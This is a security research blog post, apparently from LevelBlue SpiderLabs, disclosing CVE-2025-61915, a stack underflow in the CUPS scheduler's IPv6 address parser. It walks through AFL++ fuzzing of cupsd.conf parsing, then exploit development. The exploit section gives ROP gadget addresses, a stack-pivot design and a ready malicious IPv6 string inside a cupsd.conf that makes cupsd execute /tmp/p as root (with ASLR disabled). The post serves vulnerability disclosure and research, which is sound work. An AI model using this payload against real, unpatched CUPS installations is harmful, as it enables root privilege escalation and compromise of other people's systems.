LevelBlue Acquires Fortra’s Alert Logic MDR Business, Strengthening Position as Global MDR Leader. Learn More

LevelBlue Acquires Fortra’s Alert Logic MDR Business, Strengthening Position as Global MDR Leader. Learn More

Services
Cyber Advisory
Managed Cloud Security
Data Security
Managed Detection & Response
Email Security
Managed Network Infrastructure Security
Exposure Management
Security Operations Platforms
Incident Readiness & Response
SpiderLabs Threat Intelligence
Solutions
BY TOPIC
Offensive Security
Solutions to maximize your security ROI
Operational Technology
End-to-end OT security
Microsoft Security
Unlock the full power of Microsoft Security
Securing the IoT Landscape
Test, monitor and secure network objects
Why LevelBlue
About Us
Awards and Accolades
LevelBlue SpiderLabs
PGA of America Partnership
Secure What's Next
LevelBlue Security Operations Platforms
Security Colony
Partners
Microsoft
Unlock the full power of Microsoft Security
Technology Alliance Partners
Key alliances who align and support our ecosystem of security offerings

CVE-2025-61915: Buffer Underflow Vulnerability Leads to Memory Corruption in CUPS

CVE-2025-61915 is a stack-based out-of-bounds write bug in CUPS (Common Unix Printing System). When exploited, an unauthorized user can modify cupsd.conf and add a malicious IPv6 address. CUPS, the printing stack in Unix, will parse the IPv6 incorrectly, causing a stack underflow.

This vulnerability can potentially allow code execution as root, and in environments where CUPS remote administration is enabled, then it can cause remote code execution (RCE) as root.

This affects all versions prior to version 2.4.15.

This CVE Represents Three Completely Different Vulnerabilities

Short Technical Recap

Vulnerable code: cups/scheduler/conf.c:get_addr_and_mask()

In the function `get\_addr\_and\_mask`, which is responsible for parsing IP addresses in the config, we find:

if (i \& 1)
   ip\[i / 2] |= ipval;
else
   ip\[i / 2] |= ipval << 16;

By breaking the parser logic, we can set `i` to any negative value and `ipval` to any value between 0 and 0xffff.

But wait, if `i` must be negative, this is a stack underflow, which is usually less valuable than a stack overflow since we can't reach the saved return address.

Fortunately for us, this is not the case! As `ip` is a pointer passed from the caller.

Figure 1. Pseudo stack underflow diagram
Figure 1. Pseudo stack underflow diagram.

So, not only does this stack underflow allow us to overwrite the return address, it also bypasses the stack canary, as well!

Now, just choose the exploitation technique and start exploiting.

Using the return-oriented programming (ROP) chain, we were able to escalate privileges and achieve root code execution in our lab environment.

 

Demo: Privilege Escalation

https://github.com/user-attachments/assets/54e907c9-5f72-48d0-b5cf-a3d0b0cbbfe9

cupsd: The Vulnerable Process

CUPS is a huge printing stack. Under it are dozens of binaries available to run. Different processes run with different permissions and as different users. Upon starting the research process, I set a goal of finding a PrivEsc to root vuln. So, I wanted to focus on processes that run as root.

The vulnerability is in the main process called `cupsd`. This is the backend of the printing stack, and it runs as root.

 

Finding the Vulnerability (Fuzzing)

1. Identifying Fuzzing Targets

Usually, parsers are the best targets for fuzzing. So, I looked for parsers that receive input that is modifiable by non-root users.

I immediately found that CUPS has many config files. I started researching which of these configs can be modified by non-root users. None of the files are directly writable for non-root, but we can still impact some using dedicated APIs, tools, or even "configuration-injection via CWE-20".

Out of these config files, I filtered out those that are parsed by processes not running as root.

Finally, I ended up with these config files: cupsd.conf, printers.conf, and classes.conf.

For this vulnerability, we will focus only on cupsd.conf. These are the reasons why:

  • Authorized users can upload a new cupsd.conf via POST requests to the CUPS backend.

  • This config file is parsed by cupsd, which is a process running as root.

I also found vulnerabilities in other file parsers, but the maintainers labeled them as bugs and not vulnerabilities.

2. Fuzzing Approach

Different targets require different approaches to fuzzing.

Now, I will break down our target and environment to create the ultimate AFL++ (American Fuzzy Lop Plus) fuzzing session:

  • Input is highly structured and text-based: The best mutator for this type of input is the Grammar Mutator.
  • No data transformation: cupsd doesn't transform the input before comparison. Therefore, we can help the fuzzer to intelligently mutate the input to satisfy complex comparisons by using cmplog.
  • Parallel fuzzing: I'm using a 16-core machine dedicated to fuzzing. Hence, we can run multiple fuzzers in parallel.
  • Rare bug-triggering inputs: Reducing fuzzing overhead is always important. When bug-triggering inputs are rare, SAND helps us by only sending interesting inputs to the sanitizers. The rest are sent to non-sanitized harnesses.
  • Memory corruptions only: In this fuzzing session, I'm only interested in low-hanging memory corruptions. So, the only sanitizer that I'm using is ASan (AddressSanitizer).
  • Corpuses: The input can be very complex. It's important to help the fuzzer by providing a set of very different input examples.
  • Dictionary: cupsd.conf has a huge collection of settings with many options. We want to help the fuzzer effortlessly explore all the code paths. So, we created a dictionary with all the possible keys and as many values as possible.
  • Minimize fuzzing scope: cupsd is a huge binary with many purposes. We are only interested in the cupsd.conf parser part. So, we have three options:
    • Extract parsing code and create a new harness. The issue here is that cupsd has so many global variables, libraries, etc. Extracting everything is hard.
    • Modify cupsd code so it will only run the parser code. This will require us to know the cupsd code very well, or we might affect the logic.
    • Find if cupsd has an option where it only attempts to parse the input and exit. Luckily for us, `cupsd -c {input\_file} -t` only runs the parser and exits.

This allows us to build cupsd and use it as our harness.

3. Start Fuzzing

<details>
<summary><b>Build the harness</b></summary>

Set Variables and Functions

export CUPS\_DIR=~/cups
export CUPS\_SRC\_DIR=$CUPS\_DIR/cups-2.4.14
export HARNESS\_DIR=~/fuzzers/fuzz\_cupsd.conf

cleanup\_and\_extract() {
rm -fRd $CUPS\_SRC\_DIR
cd $CUPS\_DIR
tar -xvf cups-2.4.14-source.tar.gz
cd $CUPS\_SRC\_DIR
}

Get Source Code and Needed Packages

mkdir $CUPS\_DIR
mkdir -p $HARNESS\_DIR
cd $CUPS\_DIR
wget https://github.com/OpenPrinting/cups/releases/download/v2.4.14/cups-2.4.14-source.tar.gz
tar -xvf cups-2.4.14-source.tar.gz
sudo apt-get install autoconf build-essential avahi-daemon libavahi-client-dev libssl-dev libkrb5-dev libnss-mdns libpam-dev libsystemd-dev libusb-1.0-0-dev zlib1g-dev clang lld llvm

Compile Grammar Mutator Shared Library

cd $HARNESS\_DIR
sudo apt install valgrind uuid-dev default-jre python3 unzip default-jre default-jdk
wget https://www.antlr.org/download/antlr-4.8-complete.jar
sudo cp -f antlr-4.8-complete.jar /usr/local/lib
git clone https://github.com/AFLplusplus/Grammar-Mutator.git
cp -a cupsdSimpleGrammer.json Grammar-Mutator/grammars/cupsdSimpleGrammer.json
cd Grammar-Mutator
# find set(CMAKE\_CXX\_FLAGS "${CMAKE\_CXX\_FLAGS} -Wall -Wextra -Werror") and replace with set(CMAKE\_CXX\_FLAGS "${CMAKE\_CXX\_FLAGS} -Wall -Wextra")
make -j$(nproc) GRAMMAR\_FILE=grammars/cupsdSimpleGrammer.json
cp -a src/libgrammarmutator-cupsdsimplegrammer.so $HARNESS\_DIR

Compile Instrumented cupsd

cleanup\_and\_extract
CC=afl-clang-fast CXX=afl-clang-fast++ ./configure --prefix=$CUPS\_SRC\_DIR/../install\_instrumented
make -j$(nproc)
make install
cp -a $CUPS\_SRC\_DIR/../install\_instrumented/sbin/cupsd $HARNESS\_DIR/cupsd\_instrumented

Compile ASan cupsd

cleanup\_and\_extract
CC=afl-clang-fast CXX=afl-clang-fast++ ./configure --prefix=$CUPS\_SRC\_DIR/../install\_asan
AFL\_LLVM\_ONLY\_FSRV=1 AFL\_USE\_ASAN=1 make -j$(nproc)
make install
cp -a $CUPS\_SRC\_DIR/../install\_asan/sbin/cupsd $HARNESS\_DIR/cupsd\_asan

Compile cmplog cupsd

cleanup\_and\_extract
export AFL\_LLVM\_CMPLOG=1
CC=afl-clang-fast CXX=afl-clang-fast++ ./configure --prefix=$CUPS\_SRC\_DIR/../install\_cmplog
make -j$(nproc)
make install
unset AFL\_LLVM\_CMPLOG
cp -a $CUPS\_SRC\_DIR/../install\_cmplog/sbin/cupsd $HARNESS\_DIR/cupsd\_cmplog

Compile asan\_debug cupsd (For Later)

cleanup\_and\_extract
CC=clang CXX=clang++ \\
CFLAGS="-g -O0 -fsanitize=address -fno-omit-frame-pointer" \\
CXXFLAGS="-g -O0 -fsanitize=address -fno-omit-frame-pointer" \\
LDFLAGS="-fsanitize=address -lm" \\
./configure --prefix=$CUPS\_SRC\_DIR/../install\_asan\_debug
make -j$(nproc)
make install
cp -a $CUPS\_SRC\_DIR/../install\_asan/sbin/cupsd $HARNESS\_DIR/cupsd\_asan\_debug

Run the Fuzzers

Running Parallel Fuzzers Without detect\_stack\_use\_after\_return (Which Makes a Lot of Noise Here).

Terminal 1:

tmux new -s afl
export CUPS\_DIR=~/cups
export CUPS\_SRC\_DIR=$CUPS\_DIR/cups-2.4.14
export HARNESS\_DIR=~/fuzzers/fuzz\_cupsd.conf
cd $HARNESS\_DIR
export AFL\_CUSTOM\_MUTATOR\_LIBRARY=$HARNESS\_DIR/libgrammarmutator-cupsdsimplegrammer.so
export AFL\_TESTCACHE\_SIZE=250
export ASAN\_OPTIONS=abort\_on\_error=1:symbolize=0:detect\_stack\_use\_after\_return=0
afl-fuzz -M main -i ./inputs -o ./out -x ./cupsd\_afl.dict -m none -t 4000+ -w ./cupsd\_asan -c ./cupsd\_cmplog -l 2AT -- ./cupsd\_instrumented -c @@ -t

Dedicated to hunting and eradicating the world's most challenging threats.

SpiderLabs

Terminal 2:

tmux new -s afl2
export CUPS\_DIR=~/cups
export CUPS\_SRC\_DIR=$CUPS\_DIR/cups-2.4.14
export HARNESS\_DIR=~/fuzzers/fuzz\_cupsd.conf
cd $HARNESS\_DIR
export AFL\_CUSTOM\_MUTATOR\_LIBRARY=$HARNESS\_DIR/libgrammarmutator-cupsdsimplegrammer.so
export AFL\_TESTCACHE\_SIZE=250
export ASAN\_OPTIONS=abort\_on\_error=1:symbolize=0:detect\_stack\_use\_after\_return=0
for i in $(seq 1 14); do
afl-fuzz -S s$i -i ./inputs -o ./out -x ./cupsd\_afl.dict -m none -t 4000+ -w ./cupsd\_asan -c ./cupsd\_cmplog -l 2AT -- ./cupsd\_instrumented -c @@ -t \&
done


4. Post-Fuzzing Session

After seeing that the fuzzers found X number of crashes, we can stop the session.

Now, we have two options:

  • Generate a coverage report. Based on that, we can determine if we are happy with the result, or if we should change something (like corpuses) and continue fuzzing.

  • Start examining the crashes and see if we have anything valuable. Let's take this option.

Removing Duplicates

Let's say we have 200 crashes. It's very likely that most are duplicates. We want to filter out the duplicates to save time.

There are many "official" techniques to accomplish this. For example, using afl-cmin and other afl-utils. I don't really like the afl-utils tools, so I did something a bit different.

First Stage: afl-cmin

cd $HARNESS\_DIR
mkdir all\_crashes
cp out/\*/\*crashes\*/id\* ./all\_crashes/
afl-cmin -i all\_crashes -o min\_crashes -- ./cupsd\_instrumented -c @@ -t

This copies the crashes across all fuzzers to a single `all\_crashes` dir. Then, I used afl-cmin to remove crashes that have the same coverage path.

In the end, the "unique coverage path" crashes will be at the `min\_crashes` dir.

Second Stage: analyze_crashes.py

This is a simple Python script that analyzes crashes in `min\_crashes` and filters them based on the last three frames of the stack trace.

5. Investigate the Crash

First, we want to further understand the crash. For that, we can use the cupsd_asan_debug we built earlier. We just run it like so:

`./cupsd\_asan\_debug -c {input\_causing\_crash} -t`

Afterward, we can get the sanitizer output:

Figure 2. Sanitizer output
Figure 2. Sanitizer output. Now, it's time to debug the cupsd_asan_debug (or just a normal debug build) to understand if this crash is really valuable.

We want to understand the following:

  • Can this reproduce on normal builds?

  • What exactly causes the bug?
  • Does this bug hide other bugs (which might require us to patch the bug and fuzz again)?
  • What in the bug can we control to understand if it's really exploitable?

I used Cursor/VSCode for debugging the different crash inputs. No need for GDB (it will be used later). Just place a breakpoint on the bug-triggering line and start investigating.

 

Exploiting the CVE (ROP Chain)

Due to modern mitigations, memory corruption exploitation have become a much harder art. Based on the program’s state at the vulnerable function, I had to choose ROP chain as my exploitation technique.

This was my first time exploiting a real, new out-in-the-wild vulnerability. After doing hundreds of binary exploitation CTFs (Capture the Flags), I was sure this was going to be a piece of cake. However, I was surprised by how different this was from CTFs. Due to compiler optimizations, a lot of things I was accustomed to no longer exist, such as:

  • With optimizations, $rbp is used as a general-purpose register instead of a frame pointer, and the frame pointer is omitted by default. So, no prologue and epilogue.

  • The return address is no longer in $rbp+8.

  • GDB starts lying. Due to aggressive inlining, the function related information (such as a stack trace or frame info) is wrong. We can only trust the disassembler in those situations.

Disclaimer: I had to disable ASLR in order to make the second-stage ROP chain work. I will explain why in a succeeding section.

Setting up the Target

Until now, we built cupsd in many ways, but always for fuzzing. Now, it's time to build it in the official way.

./configure
make
make install

We then compiled another cupsd with `-g`, stripped and saved the debug symbols in a file, so we can load them in the debugger.

Deciding How to Debug the Target

To use the stack underflow correctly, we first have to understand it. To do that, we need to debug the process.

However, we are trying to build a real exploit. So, we need to run cupsd under the cups.service like it runs in production. This makes things more complicated.

Initially, I wanted to modify the cupsd.service unit file and run cupsd under the gdb server.

`ExecStart=/usr/bin/gdbserver --once :1234 /sbin/cupsd -l`

But starting the process under the debugger changed the environment variables and the process's memory layout.

So, the ROP chain that would work on cupsd under a debugger, will be different from a ROP chain used when cupsd isn't under a debugger.

The solution is to attach a debugger to a running process. This ensures the process environment variables and memory aren't affected by the debugger.

But we have a couple of issues:

  • To mimic the real world, cupsd needs to run under the CUPS service.

  • cupsd parses the config immediately, so attaching to it before it starts parsing the config is hard (race condition).

What I ended up doing was:

  • Writing a Python script that monitors when cupsd is up. Run the script and then restart cups.service.

  • The moment cupsd starts, the script sends SIGSTOP to cupsd and prints cupsd's PID.

  • Then, I attach a gdb script to that PID, which sets breakpoints and sends SIGCONT to cupsd.

Indeed, this is a bit racy as well, but it worked for me 100% of the time.

 

Program State Reconnaissance

When designing an ROP chain, we need to deeply understand the program state at different moments. We should know all about: stack layout, register values, file descriptors, different memory segments, addresses sitting on the stack (can be used as address leak), etc. We can leverage this data in our ROP chain.

ip[-N] == return_address: Finding the Return Address

The first thing I did was to find the return address and what `ip\[-N]` overwrites it.

As I specified before, in optimized binaries, $rbp is used as a general-purpose register. So, $rbp+8 doesn't hold the return address.

We need to manually find the return address ourselves.

Figure 3. Manually finding the return address
Figure 3. Manually finding the return address.

From this screenshot we learn:

  • The return address is 0x55555556c9e8. It's stored on the stack at 0x7fffffffb6a8.

  • Relative to `ip` the return address is at `ip\[-8]`

 

Finding Boundaries for i.

To write the ROP chain, we must know where on the stack we can write.

We already know that:

  • The return address is at `i == -8`

  • `i` can be any negative number.

Now, we must find the upper boundary of `i`.

By debugging the code, I see the upper limit is `i == 8` due to the loop logic.

Examining the stack from ip[-8] -> ip[8]

Our playground for the ROP chain (at least for the first stage), is from ip[-8] to ip[8]. We need to know what's on the stack there.


Figure 4. IP first range
Figure 4. IP first range.


After examining many more things like registers, file descriptors, and others, I found some interesting things. However, I didn't use these in my ROP chain. So, I won't expand on them.

 

Constraints We Need to Overcome

There are a few things that made it very hard to create a ROP chain:

  1.  `ip\[i / 2] |= ipval;` due to the `|=`, we can only use gadgets/addresses/values that are "higher" than the ones we overwrite. And in binary representation, they must have `1` where the current value has `1`. We were able to overcome this by finding gadgets that are higher than the return address.

  2. Limited wiggle room. As we can see in the above screenshot, our ROP chain can only be 15 stack values long (`ip\[-8] -> ip\[7]`). But due to constraint number 1, our wiggle room was really only 3 stack values (`ip\[-2] -> ip\[2]`). Doing a stack pivot allowed us to overcome this and get more wiggle room.

  3. Missing address leaks. There were 2 address leaks required for the full two-stage ROP chain to work.
    Stack Address Leak: I kind of had stack address info, see again `ip\[-6] -> ip\[-

  4. ]`. And $r13, $r14 and $rbx stored stack addresses as well.

But due to the small amount of wiggle room I had before the stack pivot, I wasn't able to use those.

.txt Segment Address Leak: ROP chain uses gadgets that sit in the .txt segment. There are a few techniques to leak addresses in this segment.

But again, I wasn't able to do this because of the limited amount of wiggle room I had before the stack pivot. Unfortunately, I wasn't able to overcome this constraint, and it required me to disable ASLR. I will update this article when I find a way to overcome this constraint.

 

Building the ROP Chain

Figure 5. Full ROP chain
Figure 5. Full ROP chain.

 

Design

The ROP chain design is pretty simple:

  • Overwrite the return address with a `pop X, pop Y, ret` gadget. This will bringRSP to the zeroed-out range `ip\[-2] -> ip\[2]`

  • Find a large zeroed-out stack range, lower than `ip\[-8]`. We will write the second-stage ROP chain here. Again, using the stack underflow, we can write to any `ip\[-N]` we desire.

  • In `ip\[-2] -> ip\[2]`, perform a stack pivot to the large zeroed-out stack range.

  • Our second-stage ROP chain will execute the malicious binary `/tmp/p` as root.

 

Finding Gadgets

I used ropper to get the gadgets: `ropper --file /usr/sbin/cupsd --inst-count 3 --all --nocolor > gadgets.txt`

I used the `--all` option, as I can only use gadgets that are higher than `0x55555556c9e8` due to constraint 1. So, I wanted to see all the options.

Then I wrote two Python scripts to help me find a usable `pop X, pop Y, ret`, which is the first gadget.

extract_pop_pop_ret.py: Extract all the `pop X, pop Y, ret` gadgets and write their full address (base address + offset).

find_reachable_gadgets.py: Out of all the `pop X, pop Y, ret` gadgets, get only the ones that are reachable with `|=`.

The gadget I chose to use is `0x00000000000299ef: pop r13; pop r14; ret;` And with ASLR disabled, its address will be `0x55555557d9ef`.

I will overwrite the return address with this gadget address.

Now, I had to find the rest of the gadgets. However, I will write those gadgets on zeroed-out stack ranges, so the `|=` won't be a constraint anymore.

Thus, I'm free to use any gadget I want.

I had to find gadgets that would allow me to do a stack pivot and then execute `execv("/tmp/p", NULL, NULL)`. This was very easy to find.

The rest of the gadgets are as follows:

\[0x55555558e195] pop rsp; ret; # for stack pivot
\[0x555555563ef9] pop rax; ret;
\[0x555555562c16] pop rdi; ret;
\[0x555555563416] pop rsi; ret;
\[0x555555564fbc] pop rdx; ret;
\[0x555555589a1c] syscall;

 

Finding Zeroed-Out Range on the Stack for Second-Stage ROP Chain

Here, I just needed to print the N values lower than `ip\[-8]` and find a zeroed-out range.

We printed 350 stack addresses below ip[-8]:

pwndbg> python \[print(f"ip\[{i:4d}] @ 0x{0x7fffffffb6c8 + i\*4:016x} = 0x{int.from\_bytes(gdb.selected\_inferior().read\_memory(0x7fffffffb6c8 + i\*4, 8), 'little'):016x}" + (" <-- ZERO" if int.from\_bytes(gdb.selected\_inferior().read\_memory(0x7fffffffb6c8 + i\*4, 8), 'little') == 0 else "")) for i in range(8, -351, -2)]

And we found the closest zeroed-out range:

ip\[-100] @ 0x00007fffffffb538 = 0x0000000000000000
ip\[-102] @ 0x00007fffffffb530 = 0x0000000000000000
ip\[-104] @ 0x00007fffffffb528 = 0x0000000000000000
ip\[-106] @ 0x00007fffffffb520 = 0x0000000000000000
ip\[-108] @ 0x00007fffffffb518 = 0x0000000000000000
ip\[-110] @ 0x00007fffffffb510 = 0x0000000000000000
ip\[-112] @ 0x00007fffffffb508 = 0x0000000000000000
ip\[-114] @ 0x00007fffffffb500 = 0x0000000000000000
ip\[-116] @ 0x00007fffffffb4f8 = 0x0000000000000000
ip\[-118] @ 0x00007fffffffb4f0 = 0x0000000000000000

In this range, I will write the second-stage ROP chain and stack pivot to it.

 

IPv6 Address to ROP Chain.

Now, we have all the needed information to exploit cupsd.

We know how the ROP chain flow should look, which gadgets to use, which addresses to use (again, ASLR disabled), and how to fully control the out-of-bound write.

This is the malicious IPv6 breakdown:

Malicious IPv6 = \[::3ef9:5556:5555::3B::::2c16:5556:5555::b538:ffff:7fff::3416:5556:5555::::::4fbc:5556:5555::::::9a1c:5558:5555::742f:706d:702f::0::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::1007:1::::::::::0:e185:5558:5555::b4f0:ffff::0:7fff::::8
#Indexes per value = 237 236 235 234 230 229 228 226 225 224 222 221 220 214 213 212 206 205 204 202 201 200 198

# pop rax; ret; rax = 59 (execve syscall ID)
# ip\[-237 / 2] |= 0x3ef9
# ip\[-236 / 2] |= 0x5556 << 16
# ip\[-235 / 2] |= 0x5555
# ip\[-234 / 2] |= 0 << 0x3b

# pop rdi; ret; rdi = 0x00007fffffffb538 (address of string "/tmp/p")
# ip\[-230 / 2] |= 0x2c16 << 16
# ip\[-229 / 2] |= 0x5556
# ip\[-228 / 2] |= 0x5555 << 16
# ip\[-226 / 2] |= 0xb538 << 16
# ip\[-225 / 2] |= 0xffff
# ip\[-224 / 2] |= 0x7fff << 16

# pop rsi; ret; rsi = NULL
# ip\[-222 / 2] |= 0x3416 << 16
# ip\[-221 / 2] |= 0x5556
# ip\[-220 / 2] |= 0x5555 << 16

# pop rdx; ret; rdx = NULL
# ip\[-214 / 2] |= 0x4fbc << 16
# ip\[-213 / 2] |= 0x5556
# ip\[-212 / 2] |= 0x5555 << 16

# syscall gadget
# ip\[-206 / 2] |= 0x9a1c << 16
# ip\[-205 / 2] |= 0x5558
# ip\[-204 / 2] |= 0x5555 << 16

# 0x00007fffffffb538 = "/tmp/p"
# ip\[-202 / 2] |= 742f << 16
# ip\[-201 / 2] |= 706d
# ip\[-200 / 2] |= 702f << 16
# ip\[-198 / 2] |= 0 << 16

# overwrite return address 0x55555556c9e8 with 0x55555557d9ef
# ip\[-17 / 2] |= 0x1007
# ip\[-16 / 2] |= 0x1 << 16

# pop rsp; ret; This is the stack pivot. rsp = 0x7fffffffb4f0
# ip\[-6 / 2] |= 0 << 16
# ip\[-5 / 2] |= 0xe185
# ip\[-4 / 2] |= 0x5558 << 16
# ip\[-3 / 2] |= 0x5555
# ip\[-1 / 2] |= 0xb4f0
# ip\[0 / 2] |= 0xffff << 16
# ip\[2 / 2] |= 0 << 16
# ip\[3 / 2] |= 0x7fff

Now, I sent CUPS a cupsd.conf with the malicious IPv6 to make the exploit run.

Here is the cupsd.conf I used in the video:

<Location />
Order allow,deny
Allow from \[::3ef9:5556:5555::3B::::2c16:5556:5555::b538:ffff:7fff::3416:5556:5555::::::4fbc:5556:5555::::::9a1c:5558:5555::742f:706d:702f::0::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::1007:1::::::::::0:e185:5558:5555::b4f0:ffff::0:7fff::::8
</Location>

And, indeed, sysdig proves that `cupsd` executes `/tmp/p` as root.

https://github.com/user-attachments/assets/6e28d136-8486-482b-92dc-deca60fd0e2e

ABOUT LEVELBLUE

LevelBlue is a globally recognized cybersecurity leader that reduces cyber risk and fortifies organizations against disruptive and damaging cyber threats. Our comprehensive offensive and defensive cybersecurity portfolio detects what others cannot, responds with greater speed and effectiveness, optimizes client investment, and improves security resilience. Learn more about us.

Latest Intelligence

Discover how our specialists can tailor a security program to fit the needs of
your organization.

Request a Demo